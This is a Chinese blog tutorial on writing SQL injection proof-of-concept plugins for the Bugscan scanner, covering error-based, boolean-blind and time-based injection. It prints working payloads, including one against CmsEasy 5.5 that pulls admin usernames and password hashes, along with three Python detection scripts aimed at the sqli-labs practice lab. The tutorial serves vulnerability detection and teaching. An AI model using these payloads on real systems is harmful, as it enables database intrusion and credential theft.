基于报错布尔时间的SQL注入POC编写

下面的文章写出了SQL注入的报错,布尔,时间注入的POC,通过这三个POC的编写来进入编写POC的入门。

基于报错的 SQL 注入 PoC 编写

选择的漏洞为CmsEasy最新版5.5_UTF-8_20140802多处SQL注入 :http://wooyun.jozxing.cc/static/bugs/wooyun-2014-070827.html

漏洞分析

漏洞分析在原文已经说的很详细了,大可以回原文查看。
我们在编写 PoC 的时候,如果原文中已经给出了具体的利用办法,我们就无需再关注整个漏洞的成因和原理,我们只用看这个漏洞的复现方式。
阅读原文后我们得到了 payload 和 目标 URL

1
2
3
4
请求的链接:
http://xxx.com/celive/live/header.php
POST 数据内容:
xajax=LiveMessage&xajaxargs[0][name]=1',(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(select concat(username,0x23,password) from cmseasy_user where groupid=2 limit 1))a from information_schema.tables group by a)b),'','','','1','127.0.0.1','2')#

漏洞复现

实验所需要 CMS 的下载地址: http://pan.baidu.com/s/1i4lAwBF
安装完毕后,我们就可以进行手工复现利用过程了

基于 Bugscan 框架编写POC

Bugscan 框架要求所有的逻辑代码都必须是基于 Python 2.7 的标准库的,所以像 requests 这种第三方库就不能在这里使用了
Bugscan配置环境:http://doc.bugscan.net/chapter1/1-1.html
代码编写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import urllib
def assign(service, arg):
if service == "cmseasy":
return True, arg
def audit(arg):
target = arg + '/celive/live/header.php'
post_data = {
'xajax': 'LiveMessage',
'xajaxargs[0][name]': "1',(SELECT 1 FROM (select count(*),concat("
"floor(rand(0)*2),(select md5(233)))a from "
"information_schema.tables group by a)b),"
"'','','','1','127.0.0.1','2') #"
}
code, head, body, errcode, redirect_url = curl.curl2(
target, post=urllib.urlencode(post_data))
if 'e165421110ba03099a1c0393373c5b43' in body:
security_hole(target)
if __name__ == '__main__':
from dummy import *
audit(assign('cmseasy', 'http://localhost/cmseasy/')[1])

说明

整体结构就像上面说的那样,最上面,是引入自己要用到的标准库,assign 就是任务分配函数,是来判断本次扫描任务是否可以调用这个 PoC 的, audit 就是整个验证逻辑的入口了,最下面的 if name == ‘main’: 这段代码是为了让你在本地测试用的。

基于布尔的盲注的 SQL 注入 PoC 编写

选择漏洞为Sqli labs Less-5

漏洞分析

目标URL http://127.0.0.1/sqli/Less-5/index.php?id=1
存在注入的参数是 id,由于sql 语句执行的选择后,选择的数据不能回显到前端页面,所以注入的类型是 Boolean-Based Blind

漏洞复现

请求的SQL语句

1
SELECT * FROM users WHERE id='$id' LIMIT 0,1

构造语句

1
2
返回正确的语句 http://127.0.0.1/sqli/Less-5/index.php?id=1' and 4343=4343%23
返回不正确的语句 http://127.0.0.1/sqli/Less-5/index.php?id=1' and 4343=4342%23

对比两个 Payload, 发现唯一的差别就是 4343=4343 和 4343=4342 了,当然这里的这个数字嘛,随便写的
访问上面两个链接之后发现,第一个请求的响应页面中You are in………..,而第二个请求的响应页面中没有

基于 Bugscan 框架的扫描插件编写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import re
def assign(service, arg):
if service == fingerprint.sqli:
return True, arg
def audit(arg):
# 开发者可调用自定义函数
verify(arg)
def verify(url):
payloadtrue = "{target}/index.php?id=1%27%20and%201=1%23".format(target=url)
payloadfalse = "{target}/index.php?id=1%27%20and%201=2%23".format(target=url)
try:
code1, head1, body1, redirect_url1, log1 = hackhttp.http(payloadtrue)
if code1 != 200 or not\
re.search('You are in', body1, re.M):
return
code2, head2, body2, redirect_url2, log2 = hackhttp.http(payloadfalse)
if code2 != 200 or\
re.search('You are in', body2, re.M):
return
security_hole("%s" % (payloadtrue), log=log1)
except:
pass
if __name__ == '__main__':
from dummy import *
audit(assign(fingerprint.sqli, 'http://127.0.0.1/sqli/Less-5')[1])

基于时间的盲注的 SQL 注入 PoC 编写

选择的漏洞为Sqli labs Less-5
同一个漏洞有时间我们可以用不同的利用方式

漏洞分析

构造语句

1
2
3
4
请求链接
http://xxx.com/sqli/Less-5/index.php?id=1
get数据内容
1' and (select if(1=1,sleep(5),1))--+

核心的 SQL 语句是这样的, select if(1=1,sleep(5),1) 熟悉 MySQL 语法的人应该知道这个意思,第一个参数是表达式,就是说如果表达式为真的话,就执行第二个参数位置的语名,在本例子中是 sleep 5秒,如果为假就执行第三个参数位置的语句,本例子中就是返回一个字符 1

漏洞复现

1
2
3
4
5
请求链接
http://127.0.0.1/sqli/Less-5/index.php?id=1
get数据内容
1' and (select if(1=1,sleep(5),1))--+
1' and (select if(1=2,sleep(5),1))--+

我们打开 Firefox 浏览器,开启 hackbar, 再打开开发者工具,调到网络选项卡,可以看到不同的GET所花费的时间的不同

基于 Bugscan 框架的扫描插件编写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/env python
# coding:utf-8
import urllib
import time
def assign(service, arg):
if service == fingerprint.sqli5:
return True, arg
def audit(arg):
target = "%s/celive/live/header.php" % arg
get_data1 = "{target}/index.php?id=1%27%20and%20(select%20if(1=1,sleep(5),0))--+".format(target=arg)
#print get_data1
get_data2 = "{target}/index.php?id=1%27%20and%20(select%20if(1=2,sleep(5),0))--+".format(target=arg)
try:
# 记录开始请求的时间
start_time = time.time()
# 发送 HTTP 请求
# 这里需要注意的是 hackhttp 返回的第 4 个和第 5 个参数
code1, head1, html1, redirect1, log1 = hackhttp.http(get_data1)
# 记录正常请求并收到响应的时间
end_time_1 = time.time()
code2, head2, html2, redirect2, log2 = hackhttp.http(get_data2)
# 收到响应的时间
end_time_2 = time.time()
# 计算时间差
delta1 = end_time_1 - start_time
delta2 = end_time_2 - end_time_1
#print delta1
#print delta2
if (delta1 - delta2) > 4:
# 注意:warning 和 hole 级别必须传递 log
security_hole("%s" % (target), log=log1)
except Exception,e:
print e
pass
if __name__ == '__main__':
from dummy import *
audit(assign(fingerprint.sqli5, 'http://127.0.0.1/sqli/Less-5')[1])

-------------本文结束感谢您的阅读-------------


本文标题:基于报错布尔时间的SQL注入POC编写

文章作者:Y-HKL

发布时间:2017年09月16日 - 23:09

最后更新:2017年09月16日 - 23:09

原始链接:http://y-hkl.top/2017/09/16/基于报错布尔时间的SQL注入POC编写/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。